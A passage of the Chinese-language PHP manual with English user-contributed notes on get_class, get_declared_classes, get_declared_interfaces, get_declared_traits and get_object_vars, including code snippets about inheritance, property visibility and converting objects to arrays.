}

$single_foo = Foo::getInstance();
?>

This is of course nothing horrible, you will propably need to change something in the extended class anyway (at least the constructor access), but still... it is just not as nice as it possibly could be ;)
yicheng zero-four at gmail dot com 18-Jan-2007 12:22
This a response to luke at liveoakinteractive dot com and davidc at php dot net.  Static methods and variables, by definition, are bound to class types not object instances.  You should not need to dynamically find out what class a static method belongs to, since the context of your code should make it quite obvious.  Your questions reveals that you probably don't quite understand OOP quite yet (it took me a while as well).

Luke, the observed behavior from your particular code snippet makes perfect sense when you think about it.  The method getclass() is defined in BooBoof, so the __CLASS__ macro would be bound to BooBoof and defined in relation to the BooBoof class.  The fact that CooCoof is a subclass of BooBoof just means that it gains a shortcut to BooBoof::getclass().  So, in effect, you are really asking (in a convoluted way): "What is the class to which belongs the method call BooBoof::getclass()?"  The correct solution (if you actually want/need to do this) is to simply implement CooCoof::getclass() { return __CLASS__; } inside of the CooCoof definition, and any childclasses that you want to mimic this behavior.  CooCoof::getclass() will have the expected behavior.
luke at liveoakinteractive dot com 06-Dec-2006 07:03
This note is a response to the earlier post by davidc at php dot net. Unfortunately, the solution posted for getting the class name from a static method does not work with inherited classes.

Observe the following:
<?php
class BooBoof {
  public static function getclass() {
    return __CLASS__;
  }

  public function retrieve_class() {
    return get_class($this);
  }
}

class CooCoof extends BooBoof {
}

echo CooCoof::getclass();
// outputs BooBoof

$coocoof = new CooCoof;
echo $coocoof->retrieve_class();
// outputs CooCoof
?>

__CLASS__ and get_class($this) do not work the same way with inherited classes. I have been thus far unable to determine a reliable way to get the actual class from a static method.
benjaminhill at gmail dot com 27-Apr-2006 10:47
More funkyness:

class Parent {
   function displayTableName() {
      echo get_class($this);
      echo get_class();
   }
}

class Child {
   function __construct() {
      $this->displayTableName();
   }
}

Will return
- Child
- Parent

So when they say "the object isn't required in PHP5" - they don't really mean it.
refrozen dot com 05-Jul-2005 03:01
philip at cornado dot com, it returns the value of the class from which it was called, rather than the instance's name... causing inheritance to result in unexpected returns
MagicalTux at FF.ST 02-Feb-2004 04:11
Note that the constant __CLASS__ is different from get_class($this) :
<?
  class test {
    function whoami() {
      echo "Hello, I'm whoami 1 !\r\n";
      echo "Value of __CLASS__ : ".__CLASS__."\r\n";
      echo "Value of get_class() : ".get_class($this)."\r\n\r\n";
    }
  }
  class test2 extends test {
    function whoami2() {
      echo "Hello, I'm whoami 2 !\r\n";
      echo "Value of __CLASS__ : ".__CLASS__."\r\n";
      echo "Value of get_class() : ".get_class($this)."\r\n\r\n";
      parent::whoami(); // call parent whoami() function
    }
  }
  $test=new test;
  $test->whoami();
  $test2=new test2;
  $test2->whoami();
  $test2->whoami2();
?>

The output is :
Hello, I'm whoami 1 !
Value of __CLASS__ : test
Value of get_class() : test

Hello, I'm whoami 1 !
Value of __CLASS__ : test
Value of get_class() : test2

Hello, I'm whoami 2 !
Value of __CLASS__ : test2
Value of get_class() : test2

Hello, I'm whoami 1 !
Value of __CLASS__ : test
Value of get_class() : test2

In fact, __CLASS__ returns the name of the class the function is in and get_class($this) returns the name of the class which was created.


返回由已定义类的名字所组成的数组

  • ? get_class
  • get_declared_interfaces ?
  • PHP Manual
  • 类/对象 函数
  • 返回由已定义类的名字所组成的数组

get_declared_classes

(PHP 4, PHP 5, PHP 7)

get_declared_classes — 返回由已定义类的名字所组成的数组

说明

get_declared_classes ( void ) : array

返回由当前脚本中已定义类的名字组成的数组。

返回值

返回由当前脚本中已定义类的名字组成的数组。

Note:

需要注意的是额外类的出现依赖于你已编译到 PHP 中的库。这意味着你不能使用这些类名定义自己的类。在附录的 预定义类 部分有预定义类的列表。

范例

Example #1 get_declared_classes() 例子

<?php
print_r(get_declared_classes());
?>

以上例程的输出类似于：

Array
(
    [0] => stdClass
    [1] => __PHP_Incomplete_Class
    [2] => Directory
)

参见

  • class_exists() - 检查类是否已定义
  • get_declared_interfaces() - 返回一个数组包含所有已声明的接口
  • get_defined_functions() - 返回所有已定义函数的数组

User Contributed Notes

brain at code dot com 14-Feb-2014 08:53
get-declared-classes makes no sense at all, if u maybe, later for production, merge class files in one package file.

lets say: package.php
print_r(get_declared_classes());
class declaredHere { }
print_r(get_declared_classes());

so in this case, the declaredHerr class is defined at the first call of print_r();
because PHP-complier runs a hole file and declare Stuff before running the code.

But (Lovely PHP):
print_r(get_declared_classes());
if(true){
class declaredHere { }
}
print_r(get_declared_classes());
Will print the declaredHere class only in the second print_r.

Its not a Bug it a...
yarco dot wang at gmail dot com 24-Nov-2013 07:32
those above comments are too old.
now, whatever the order is, the output will be the same:

<?php
class Test1
{}

print_r(get_declared_classes());

class Test2
{}

print_r(get_declared_classes());

?>

will output the same result.
dcahh at gmx de 29-Feb-2008 09:23
This function considers only classes and subclasses. Not subsubclasses.

In fact I have code that provides an abstract class and then classes using this abstract class. Further I have subclasses to my concrete classes - which is why my subclasses are not listed within the returned array.
dexen + goofy _ pl 25-Sep-2007 11:32
Summary:
 * in PHP 5.1 class names have case preserved
 * contrary, in PHP 4.4 class names are downcased, withe exception of a few build-in ones

The get_declared_classes() funcition returns the list of names with case preserved, as of PHP 5.1 series (prolly 5.0 too, but i have no way to test it right now). Since PHP generally is caseless in regard to names of classes, this may come at a surprise. Also, this could potentially break older code asssuming downcased list.

Take extra care when  checking for existence of a class. Following example is, potentially, error prone: <?php in_array( $className, $classget_declared_classes() ) ?>

A sure-fire (while slower) way would be to iterate over the array and normalize case to, say, lower:

<?php
$exists = FALSE;
$className = strtolower( $className );
foreach ( get_declared_classes() as $c ) {
    if ( $className === strtolower( $c ) ) {
        $exists = TRUE;
        break;
    }
}?>

Optimization of the above snippet is left as a simple excercise to the reader ;)
-- dexen deVries
matt at mattsoft dot net 21-Dec-2005 02:58
classes can't be unloaded. probably not very practical to implement that in a future version. I wouldn't go out of my way to do it if I were zend. you're better off finding a workaround. it's better programming technique to find a way around having to do that anyway.

http://www.zend.com/zend/week/week223.php#Heading10
22-Mar-2005 09:16
Regarding note of 3-21:

<?php

class myclass {}

$class = 'myclass';
$instance = new $class();

?>

This function could also be used to determine the names of classes defined in a particular file by calling it before and after include. It's hardly a pointless function.
matt-php at DONT-SPAM-ME dot bitdifferent dot com 01-Nov-2004 07:41
The array returned by this function will be in the order the classes were defined / included / required and this order does not appear to change.

For example:

<?PHP

//define classone
class classone { }

//define classtwo
class classtwo { }

//This will show X classes (built-ins, extensions etc) with
//classone and classtwo as the last two elements

print_r(get_declared_classes());

//define classthree
class classthree { }

//...and four
class classfour { }

//Shows the same result as before with class three and four appended
print_r(get_declared_classes());

?>

Output:

Array
(
   [0] => stdClass
   [1] .... other defined classes....
   [10] => classone
   [11] => classtwo
 )

and...

Array
(
   [0] => stdClass
   [1] .... other defined classes....
   [10] => classone
   [11] => classtwo
   [12] => classthree
   [13] => classfour
)
Jazeps Basko 07-Feb-2004 11:52
In PHP5, you don't get declared interfaces by calling this function!!!
To get interfaces you should use get_declared_interfaces(). However, to check if an interface is already defined, you should use class_exists()! This is strange, but PHP team does not think so.
smokey 20-Mar-2003 03:06
you cannot remove them. they are "defined", which happens when the class is being loaded from the parser. you just deleted an instance of a class.


返回一个数组包含所有已声明的接口

  • ? get_declared_classes
  • get_declared_traits ?
  • PHP Manual
  • 类/对象 函数
  • 返回一个数组包含所有已声明的接口

get_declared_interfaces

(PHP 5, PHP 7)

get_declared_interfaces — 返回一个数组包含所有已声明的接口

说明

get_declared_interfaces ( void ) : array

返回一个数组包含所有已声明的接口。

返回值

本函数返回一个数组，其内容是当前脚本中所有已声明的接口的名字。

范例

Example #1 get_declared_interfaces() 例子

<?php
print_r(get_declared_interfaces());
?>

以上例程的输出类似于：

Array
(
    [0] => Traversable
    [1] => IteratorAggregate
    [2] => Iterator
    [3] => ArrayAccess
    [4] => reflector
    [5] => RecursiveIterator
    [6] => SeekableIterator
)

参见

  • interface_exists() - 检查接口是否已被定义
  • get_declared_classes() - 返回由已定义类的名字所组成的数组
  • class_implements() - 返回指定的类实现的所有接口。

User Contributed Notes

There are no user contributed notes for this page.


返回所有已定义的 traits 的数组

  • ? get_declared_interfaces
  • get_object_vars ?
  • PHP Manual
  • 类/对象 函数
  • 返回所有已定义的 traits 的数组

get_declared_traits

(PHP 5 >= 5.4.0, PHP 7)

get_declared_traits — 返回所有已定义的 traits 的数组

说明

get_declared_traits ( void ) : array

参数

此函数没有参数。

返回值

返回一个数组，其值包含了所有已定义的 traits 的名称。 在失败的情况下返回 NULL。

参见

  • class_uses() - Return the traits used by the given class

User Contributed Notes

@everaldofilho 14-Jul-2019 04:57
Example of use:

<?php

namespace Example;

// Declare Trait
trait FooTrait
{
}

// Declare Abstract class
abstract class FooAbstract
{
}

// Declare class
class Bar extends FooAbstract
{
    use FooTrait;
}

// Get all traits declareds
$array = get_declared_traits();

var_dump($array);
/**
 * Result:

 * array(1) {
 *  [0] =>
 *  string(23) "Example\FooTrait"
 * }
 */


返回由对象属性组成的关联数组

  • ? get_declared_traits
  • get_parent_class ?
  • PHP Manual
  • 类/对象 函数
  • 返回由对象属性组成的关联数组

get_object_vars

(PHP 4, PHP 5, PHP 7)

get_object_vars — 返回由对象属性组成的关联数组

说明

get_object_vars ( object $obj ) : array

返回由 obj 指定的对象中定义的属性组成的关联数组。

Note:

在 PHP 4.2.0 之前的版本中，如果在 obj 对象实例中声明的变量没有被赋值，则它们将不会在返回的数组中。而在 PHP 4.2.0 之后，这些变量作为键名将被赋予 NULL 值。

Example #1 使用 get_object_vars()

<?php
class Point2D {
    var $x, $y;
    var $label;

    function Point2D($x, $y)
    {
        $this->x = $x;
        $this->y = $y;
    }

    function setLabel($label)
    {
        $this->label = $label;
    }

    function getPoint()
    {
        return array("x" => $this->x,
                     "y" => $this->y,
                     "label" => $this->label);
    }
}

// "$label" is declared but not defined
$p1 = new Point2D(1.233, 3.445);
print_r(get_object_vars($p1));

$p1->setLabel("point #1");
print_r(get_object_vars($p1));

?>

以上例程会输出：

 Array
 (
     [x] => 1.233
     [y] => 3.445
     [label] =>
 )

 Array
 (
     [x] => 1.233
     [y] => 3.445
     [label] => point #1
 )

参见 get_class_methods() 和 get_class_vars()。

参数

object

An object instance.

返回值

Returns an associative array of defined object accessible non-static properties for the specified object in scope. If a property have not been assigned a value, it will be returned with a NULL value.

更新日志

版本 | 说明
5.3.0 | This function now returns NULL if the object isn't an object.
prior to 5.3.0 | If the object isn't an object, then get_object_vars() would return FALSE
prior to 4.2.0 | If the variables declared in the class of which the object is an instance, have not been assigned a value, those will not be returned in the array

范例

Example #2 Use of get_object_vars()

<?php

class foo {
    private $a;
    public $b = 1;
    public $c;
    private $d;
    static $e;

    public function test() {
        var_dump(get_object_vars($this));
    }
}

$test = new foo;
var_dump(get_object_vars($test));

$test->test();

?>

以上例程会输出：

array(2) {
  ["b"]=>
  int(1)
  ["c"]=>
  NULL
}
array(4) {
  ["a"]=>
  NULL
  ["b"]=>
  int(1)
  ["c"]=>
  NULL
  ["d"]=>
  NULL
}

参见

  • get_class_methods() - 返回由类的方法名组成的数组
  • get_class_vars() - 返回由类的默认属性组成的数组

User Contributed Notes

beat 07-Nov-2014 11:39
If your object contains a reference, beware that you might get references for all object properties in the array values, thus when changing values in the array, they may change the object too (confirmed and not yet fixed PHP bug https://bugs.php.net/bug.php?id=66961 affecting all PHP versions up to at least 5.6.2 and 5.5.18 and 5.4.34).

This 10-years old comment tried reporting this: http://php.net/manual/en/function.get-object-vars.php#40515 but its exemple was incomplete. See bug report for example.
lee dot howarth dot 90 at gmail dot com 13-Apr-2014 10:48
I find this function very helpful, What i wanted to do was to get the object properties of an exception so i could sanitize them for output.

   try
   {
       throw new Exception( 'Test Exception.', 100 );
   }
   catch( Exception $e )
   {
       var_dump( ( object ) get_object_vars( ( object ) ( new ArrayObject( $e ) ) -> getarrayCopy() ) );
   }

Example return:

object(stdClass)#10 (4) { ["message"]=> string(15) "Test Exception." ["code"]=> int(100) ["file"]=> string(29) "C:\xampp\htdocs\dev\index.php" ["line"]=> int(19) }
rabatto1 at web dot de 03-Feb-2014 04:21
function to convert object (with children) to an (associative) array ... recusive

<?php

// ---------------------------------------------------------
// ----- object_to_array_recusive --- function (PHP) ------
// --------------------------------------------------------
// -- arg1:  $object  =  (PHP Object with Children)
// -- arg2:  $assoc   =  (TRUE / FALSE) - optional
// -- arg3:  $empty   =  ('' or NULL) - optional
// --------------------------------------------------------
// ----- return: Array from Object --- (associative) ------
// --------------------------------------------------------

function object_to_array_recusive ( $object, $assoc=1, $empty='' )
{
    $out_arr = array();
    $assoc = (!empty($assoc)) ? TRUE : FALSE;

    if (!empty($object)) {

        $arrObj = is_object($object) ? get_object_vars($object) : $object;

        $i=0;
        foreach ($arrObj as $key => $val) {
            $akey = ($assoc !== FALSE) ? $key : $i;
              if (is_array($val) || is_object($val)) {
                $out_arr[$key] = (empty($val)) ? $empty : object_to_array_recusive($val);
              }
              else {
                $out_arr[$key] = (empty($val)) ? $empty : (string)$val;
              }
        $i++;
        }

    }

    return $out_arr;
}

// --------------------------------------------------------
// --------------------------------------------------------

?>

Example / Usage:

a) return an associative (recusive) array from object

$new_arr1 = object_to_array_recusive($my_object);
// --- or --- object_to_array_recusive($my_object,TRUE);
// --- or --- object_to_array_recusive($my_object,1);

b) return a numeric  (recusive) array from object (set 2nd argument = FALSE)

$new_arr2 = object_to_array_recusive($my_object,FALSE);

you can pre-set the Array-Value of Empty (Sub-) Objects in 3rd argument ($empty)
// --- eg: NULL --- object_to_array_recusive($my_object,1,NULL);
oom at oscarotero dot com 09-Oct-2013 09:37
You can use call_user_func() to return public variables from inside the class:

class Test {
    protected $protected;
    public $public;
    private $private;

    public function getPublicVars () {
        return call_user_func('get_object_vars', $this);
    }
}

$test = new Test();
var_dump($test->getPublicVars()); // array("public" => NULL)
jozef at mostka dot com 03-Sep-2013 06:59
class A{
    private $priA;
    protected $proA;
    public $pubA;
}

class B extends A{
    private $priB;
    protected $proB;
    public $pubB;

    public function getVars(){
        return array_diff_key(get_object_vars($this), get_class_vars(get_parent_class($this)));
    }
}
$b = new B();
var_dump($b->getVars());

array(3) {
  ["priB"]=>
  NULL
  ["proB"]=>
  NULL
  ["pubB"]=>
  NULL
}
kuko at webperfection dot net 16-Apr-2013 11:09
get_object_vars($this)
php5.3 + it returns only public and protected; NOT private vars
@chozilla 11-Feb-2013 12:35
A simple way to call this function within an Object and to only export the *public* params would be to artificially change the scope - for example with a closure in php 5.3:

<?php
class Example
{
    public $publicSetting = 'public';
    protected $protectedSetting = 'protected';
    private $privateSetting = 'private';

    public function showEverything()
    {
        return get_object_vars($this);
    }

    public function showMyPublicsOnly()
    {
        $me = $this;
        $publics = function() use ($me) {
            return get_object_vars($me);
        };
        return $publics();
    }
}
?>
Fabien Haddadi 30-May-2012 09:42
It seems like there's no function that determines all the *static* variables of a class.

I've come out with this one as I needed it in a project:

<?php
function get_class_static_vars($object) {
     return array_diff(get_class_vars(get_class($object)), get_object_vars($object));
}
?>

It relies on an interesting property: the fact that get_object_vars only returns the non-static variables of an object.
Dionisiy 20-Apr-2012 06:21
Note that before PHP 5.3.9 numeric object variables of unserialized object are not public, and get_object_vars() won't return them:
https://bugs.php.net/bug.php?id=61774
elminster2031 at hotmail dot com 07-Jul-2010 12:30
Also note that this is recursive. For example:

<?php
class Sarah{

    private $Father;
    private $Mother;

    public function __construct(){
        $this->Father    =    NULL; //I don't know Sarah's Father
        $this->Mother    =    NULL; //I don't know Sarah's Mother
    }
}
class John_Connor{

    private $Father;
    private $Mother;

    public function __construct(){
        $this->Father    =    $this; //John went back in time and fathered himself
        $this->Mother    =    new Sarah(); //Sarah was his mom and his mate ewww
    }

    public function showParents(){
        return get_object_vars($this);
    }
}

$John    =    new John_Connor();
var_dump($John->showParents());
?>

You will see this outputs:

array(2) {
  ["Father"]=>
  object(John_Connor)#1 (2) {
    ["Father":"John_Connor":private]=>
    object(John_Connor)#1 (2) {
      ["Father":"John_Connor":private]=>
      *RECURSION*
      ["Mother":"John_Connor":private]=>
      object(Sarah)#2 (2) {
        ["Father":"Sarah":private]=>
        NULL
        ["Mother":"Sarah":private]=>
        NULL
      }
    }
    ["Mother":"John_Connor":private]=>
    object(Sarah)#2 (2) {
      ["Father":"Sarah":private]=>
      NULL
      ["Mother":"Sarah":private]=>
      NULL
    }
  }
  ["Mother"]=>
  object(Sarah)#2 (2) {
    ["Father":"Sarah":private]=>
    NULL
    ["Mother":"Sarah":private]=>
    NULL
  }
}
benny at nospam dot com 26-Dec-2009 01:31
Be aware of the fact that this is scope-sensitive. If you're calling this from an objects own method, then private and protected vars will be outputted as well. Call it from outside the object and the result will most likely be what you want to archive.
huzursuz at mailinator dot com 02-Feb-2009 08:44
better version of conv_obj, based on XML... this converts XML to an array... use it by

<?php
$result = xmlobj2arr(simplexml_load_string($xmlContent));

function xmlobj2arr($Data) {
       if (is_object($Data)) {
               foreach (get_object_vars($Data) as $key => $val) {
                       $ret[$key] = xmlobj2arr($val);
               }
               return $ret;
       } elseif (is_array($Data)) {
               foreach ($Data as $key => $val) {
                       $ret[$key] = xmlobj2arr($val);
               }
               return $ret;
       } else {
               return $Data;
       }
}
?>
jon at websandbox dot net 05-Jul-2008 09:00
If you're using the SPL ArrayObject class (or similar, or the ArrayAccess interface), you may have noticed that it's difficult to loop through an object's properties.

get_object_vars does not return the properties of an ArrayObject.  The only workaround I can see is to use get_class_vars.

<?php
$obj = new ArrayObject();
$obj->foo = "bar";
$obj[] = "1";
$obj[] = "2";
foreach($obj as $key => $value) {
 // will iterate over the array, iterating over "1" and "2", but ignoring $obj->foo
}

var_dump($obj); // dumps the array values, ignores $obj->foo

$a = get_object_vars($obj); // returns an empty array

class Fart extends ArrayObject {
    public $foo = "bar";
}

$obj = new Fart();
$a = get_object_vars($obj); // return an empty array
$a = get_class_vars(get_class($obj)); // returns array("foo"=>"bar"), Yay!

/* The above works with subclasses as well */
class Toot extends Fart {
    public $weeble = "wobble";
}

$a = get_class_vars(get_class($obj));
// returns array("weeble" => "wobble", "foo"=>"bar"), Yay again!

?>

So, to iterate over the properties of an ArrayObject, and not the array values:

<?php

$obj = new Toot(); // which is a subclass of ArrayObject
$props = get_class_vars(get_class($obj));
foreach($props as $prop => $defaultValue) {
  $value = $obj->$prop; // now you have the property name and  its value
}

?>
pardini at gmail dot com 08-May-2008 04:38
get_object_vars() has confusing behaviour when called as get_object_vars($this) or similar: since a method inside a class definition can access private vars, apparently so can get_object_vars(), so it returns private vars as well.

A simple workaround is to define a method that in itself calls get_object_vars, like:

<?php
function getPublicObjectVars($obj) {
  return get_object_vars($obj);
}

class Smth {
  private $notShown = 1;
  public $shown = 2;

  function test() {
    $vars = get_object_vars($this); // includes 'notShown'
    $vars = getPublicObjectVars($this); // only 'shown'
  }

}
?>
biga888 AT gmail 19-Nov-2007 12:48
Just thought I would pass this on.

Working with PHP 5.2.4

In Windows this works by reading the vars from the passed in object and copying them to the vars of the current object.

    public function copyMe(User $user) {
        $varArray = get_object_vars($this);
        $copyVarArray = get_object_vars($user);
        foreach ($varArray as $key=>$value) {
            $this->$key = $copyVarArray[$key];
        }
    }

This did not work in Linux, I had to add another function to return the array of vars. Calling get_array_vars on the passed in object would return an empty array.

        public function copyMe(User $user) {
        $varArray = $this->getArray();
        $copyVarArray = $user->getArray();
        foreach ($varArray as $key=>$value) {
            $this->$key = $copyVarArray[$key];
        }
    }

    public function getArray() {
        return get_object_vars($this);
    }
firemouth at gmail dot com 10-Sep-2007 06:48
This is a slight modification of the previous poster's function.  We ran into a problem using this function when we had a JS array nested inside a JS hash.

Something like this...

myHash = new Hash();
myHash[address] = new Array();

When we threw that at this function, it found the first hash as an object, and then using the previous poster's function, it did not consider the array as an "object."  Instead it gave us a std_object type and we were unable to make any use of it.

The modification we made was adding a check for is_array inside both the is_object and is_array checks when you call the function.  This checks for an array inside either an object or a nested array.

function conv_obj($Data){
    if(is_object($Data)){

        foreach(get_object_vars($Data) as $key=>$val){
            if(is_object($val) || is_array($val)){
                $ret[$key]=conv_obj($val);
            }else{
                $ret[$key]=$val;
            }
        }
        return $ret;
    }elseif(is_array($Data)){
        foreach($Data as $key=>$val){
            if(is_object($val) || is_array($val)){
                $ret[$key]=conv_obj($val);
            }else{
                $ret[$key]=$val;
            }
        }
        return $ret;
    }else{
        return $Data;
    }
}
C.H. 15-Aug-2007 06:03
function conv_obj($Data){
     if(is_object($Data)){
         foreach(get_object_vars($Data) as $key=>$val){
             if(is_object($val)){
                 $ret[$key]=conv_obj($val);
             }else{
                 $ret[$key]=$val;
             }
         }
         return $ret;
     }elseif(is_array($Data)){
         foreach($Data as $key=>$val){
             if(is_object($val)){
                 $ret[$key]=conv_obj($val);
             }else{
                 $ret[$key]=$val;
             }
         }
         return $ret;
     }else{
         return $Data;
     }
 }

Very simple function to convert any Subobject to an array.
Created it while working with Soap.
For me as an beginner with PHP, very useful :o)
thinice at gmail dot com 13-Aug-2007 10:46
To add to my previous comment - the error message should have meant same structure.

As my implementation called for cross-class comparison.
Maikel 23-May-2007 11:13
To follow the code of d11wtq (enquiries AT chriscorbyn.co.uk). I did this function to inspect all properties(public, private, protected) of object.

<?php
header("content-type: text/plain");

// Classes to test!
class OtherClass
{
    private $privateVarOtherClass = 11;
}

class MyClass extends OtherClass
{
    protected $protectedVar = "some";
    public $publicVar = "nk";
    private $privateVar = "algo";
    var $oldStyle;
}

// Dangerous function
function get_properties($obj, $values=false)
{
    $obj_dump  = print_r($obj, 1);
    $matches =  array();
    preg_match_all('/^\s+\[(\w+).*\] => (\w*)/m', $obj_dump, $matches);
    if ($values)
    {
        $output = array();
        foreach ($matches[1] as $key => $property)
        {
            $output[$property] = $matches[2][$key];
        }
        return $output;
    }
    else
    {
        return $matches[1];
    }
}

$instance = new MyClass();

echo "Properties\n";
print_r(get_properties($instance));

echo "Properties and values\n";
print_r(get_properties($instance, true));

?>

Note: remember that static properties are not visible to the object. By that not supported to them
thiago dot henrique dot mata at gmail dot com 21-Feb-2007 11:23
<?php
# How to make a function change the private attributes
# from some object without use serialize functions or
# lose the control of the changes.

/**
 * Parent Class to allow the change of privates attributes
 * Look the abstract function __setAttribute.
 *
 * @author Renan de Lima ( renandelima@gmail.com )
 * @author Thiago Mata ( thiago.henrique.mata@gmail.com )
 * @date 2007-02-21
 */
abstract class father
{
    /**
     * Receive the Aray and try to change the attribute value
     *
     * @param array $arrNewValues
     */
    public function __fromDatabase( $arrNewValues )
    {
        $arrToSet = array_intersect_key( $arrNewValues, get_object_vars( $this ) );
        foreach( $arrToSet as $strAttribute => $mixValue )
        {
            $this->__setAttribute( $strAttribute , $mixValue );
        }
    }

    /**
     * Required method to control the attributes of class
     * @param string $strAttribute
     * @param unknown $mixValue
     */
    abstract protected function __setAttribute( $strAttribute, $mixValue );

}

/**
 * Just a example of a child class using the functionality
 *
 * Note: if you don't wanna to allow the change of some attribute
 * by this method you can just make more complex the __setAttribute function.
 *
 * @author Renan de Lima ( renandelima@gmail.com )
 * @author Thiago Mata ( thiago.henrique.mata@gmail.com )
 * @date 2007-02-21
 */
class son extends father
{

    private $atr = 9;

    /**
     * This is the most simple implementation of the method.
     * This way it's allowed to the parent class change any attribute
     * @param string $strAttribute
     * @param unknown $mixValue
     */
    protected function __setAttribute( $strAttribute, $mixValue )
    {
        $this->{ $strAttribute } = $mixValue;
    }

}

$objSon = new son();
$objSon->__fromDatabase( array( 'atr' => 55 ) );
var_dump( $objSon );
?>
ananda dot putra at gmail dot com 01-Mar-2006 03:49
Hi all, I just wrote a function which dumps all the object propreties and its associations recursively into an array. Here it is..
<?php
function object_to_array($obj) {
        $_arr = is_object($obj) ? get_object_vars($obj) : $obj;
        foreach ($_arr as $key => $val) {
                $val = (is_array($val) || is_object($val)) ? object_to_array($val) : $val;
                $arr[$key] = $val;
        }
        return $arr;
}
?>

Example:
You have an object like this:
fruitsbasket Object
(
    [Fruits] => Array
        (
            [0] => fruits Object
                (
                    [_name] => Mango
                    [_color] => Green
                    [_weight] => 10
                )

            [1] => fruits Object
                (
                    [_name] => Apple
                    [_color] => Red
                    [_weight] => 15
                )

            [2] => fruits Object
                (
                    [_name] => Grape
                    [_color] => Purple
                    [_weight] => 5
                )

        )

    [total_weight] => 30
)

just do:
<?php
$the_array = object_to_array($the_object);
print_r($the_array);
?>

it will produce an array:
Array
(
    [Fruits] => Array
        (
            [0] => Array
                (
                    [_name] => Mango
                    [_color] => Green
                    [_weight] => 10
                )

            [1] => Array
                (
                    [_name] => Apple
                    [_color] => Red
                    [_weight] => 15
                )

            [2] => Array
                (
                    [_name] => Grape
                    [_color] => Purple
                    [_weight] => 5
                )

        )

    [total_weight] => 30
)

I wish function like this could be usefull for you all. :)
support at sascha minus diebel dot de 23-Dec-2005 02:55
Note that get_object_vars() returns the variables of the object not the class. You need to know if your class is extended from a parent class.
d11wtq (enquiries AT chriscorbyn.co.uk) 17-Nov-2005 03:40
Since there's no apparent means of obtaining all the *private* properties in an object I wrote a little function to do it.  Built in support would be much more efficient since mine uses a preg_  search to do this....

<?php

function get_private_properties($obj, $inside=false)
{
    $obj_dump  = print_r($obj, 1);
    preg_match_all('/^\s+\[(\w+):private\]/m', $obj_dump, $matches);
    if ($inside)
    {
        $output = array();
        foreach ($matches[1] as $property)
        {
            $output[$property] = $obj->$property;
            return $output;
        }
    }
    else return $matches[1];
}

?>

So if you run it with the optional second paramter missing you'll just get an array of the variable names that are private inside the class.  This is the only option if you are not inside the actual object and the object has no private properties inherited.

If you run it with the second parameter set to true you will get an associative array with the properties and their corresponding values.  I'd only advise to do that for singletons since you may get errors if there are any private properites in parents/children.
pascal dot poncet at netconsult dot com 13-Oct-2005 07:20
Subject: using "sql_calc_found_rows" in a MySQL query while exploiting result in a PHP db class object.

Hello,

There is a nice function in MySQL that allows to know how many records would have been returned if no "where" clause were set : SQL_CALC_FOUND_ROWS.

If you have create a db object to collect the returned lines, you will be a little perplex when trying to call the result of this function.

Why ?
Simply because the returned field's name is "found_rows()" and obviously it's not possible to call something like :

<?php $result->found_rows() ?>

...as it will try to acces a method, not a property !

Then, the only way to get the right result seems to be the use of a class function, like :

<?php
  $db->query("select found_rows()");
  $count=current(get_object_vars(current($db->result)));
?>

Of course, if somebody found an other way to solve it, like a special syntax (see the one used with curled arrays in a string), I'm really open to discuss.

Good luck,
Pascal
Marc 23-Aug-2005 06:08
If you want to access all properties (private, protected, public) of a class and his base class(es) from outside the object you can take a look in the code below.
You can even reffrence them.

Example:
<?php

// Dummy class to act as parent class.
class Dummy
{
    private        $d1 = 1;
    protected    $d2 = 2;
    public        $d3 = 3;
}

// The class to test on.
class Test extends Dummy
{
    private        $t1 = 11;
    protected    $t2 = 12;
    public        $t3 = 13;
}

// Instance of the test class.
$test =& new Test();

// The propertynames of the test class and his parent.
$nameD1 = "\0Dummy\0d1";    // class Dummy, private      $d1
$nameD2 = "\0*\0d2";        // class Dummy, protected $d2
$nameD3 = "d3";            // class Dummy, public    $d3

$nameT1 = "\0Test\0t1";        // class Test,  private      $t1
$nameT2 = "\0*\0t2";        // class Test,  protected $t2
$nameT3 = "t3";            // class Test,  public    $t3

// Printing all members (private, protected, public) of test class and parent.
// These are the values at construction.
print("Original object:\n");
print("\t\$d1 = ".$test->$nameD1."\n");
print("\t\$d2 = ".$test->$nameD2."\n");
print("\t\$d3 = ".$test->$nameD3."\n");
print("\t\$t1 = ".$test->$nameT1."\n");
print("\t\$t2 = ".$test->$nameT2."\n");
print("\t\$t3 = ".$test->$nameT3."\n");
print("\n");

// Create new values to use as reffrence.
$varD1 = 31;
$varD2 = 32;
$varD3 = 33;

$varT1 = 41;
$varT2 = 42;
$varT3 = 43;

// Reffrence these to the class properties.
$test->$nameD1 =& $varD1;
$test->$nameD2 =& $varD2;
$test->$nameD3 =& $varD3;

$test->$nameT1 =& $varT1;
$test->$nameT2 =& $varT2;
$test->$nameT3 =& $varT3;

// Printing all members (private, protected, public) of test class and parent.
// The values have changed by assigning reffrence to them.
print("Object Changed by reffrence (1):\n");
print("\t\$d1 = ".$test->$nameD1."\n");
print("\t\$d2 = ".$test->$nameD2."\n");
print("\t\$d3 = ".$test->$nameD3."\n");
print("\t\$t1 = ".$test->$nameT1."\n");
print("\t\$t2 = ".$test->$nameT2."\n");
print("\t\$t3 = ".$test->$nameT3."\n");
print("\n");

// Change the original values.
// This will change the class properties.
$varD1 = 61;
$varD1 = 62;
$varD1 = 63;

$varT1 = 71;
$varT1 = 72;
$varT1 = 73;

// Printing all members (private, protected, public) of test class and parent.
// The values have changed because the variables $varXX have been changed.
print("Object Changed by reffrence (2):\n");
print("\t\$d1 = ".$test->$nameD1."\n");
print("\t\$d2 = ".$test->$nameD2."\n");
print("\t\$d3 = ".$test->$nameD3."\n");
print("\t\$t1 = ".$test->$nameT1."\n");
print("\t\$t2 = ".$test->$nameT2."\n");
print("\t\$t3 = ".$test->$nameT3."\n");
print("\n");

// Printing the object using print_r() shows the changes
// have been done on the object.
print("Object Changed (print_r):\n");
print_r($test);
print("\n");

// If you dont now the class propertynames you can get these by casting the
// object to an array. The array keys are the names
$prop = array_keys((array) $test);
print("Getting all class propertynames (print_r)\n");
print_r($prop);

//Result
/*

Original object:
    $d1 = 1
    $d2 = 2
    $d3 = 3
    $t1 = 11
    $t2 = 12
    $t3 = 13

Object Changed by reffrence (1):
    $d1 = 31
    $d2 = 32
    $d3 = 33
    $t1 = 41
    $t2 = 42
    $t3 = 43

Object Changed by reffrence (2):
    $d1 = 63
    $d2 = 32
    $d3 = 33
    $t1 = 73
    $t2 = 42
    $t3 = 43

Object Changed (print_r):
Test Object
(
    [t1:private] => 73
    [t2:protected] => 42
    [t3] => 43
    [d1:private] => 63
    [d2:protected] => 32
    [d3] => 33
)

Getting all class propertynames (print_r)
Array
(
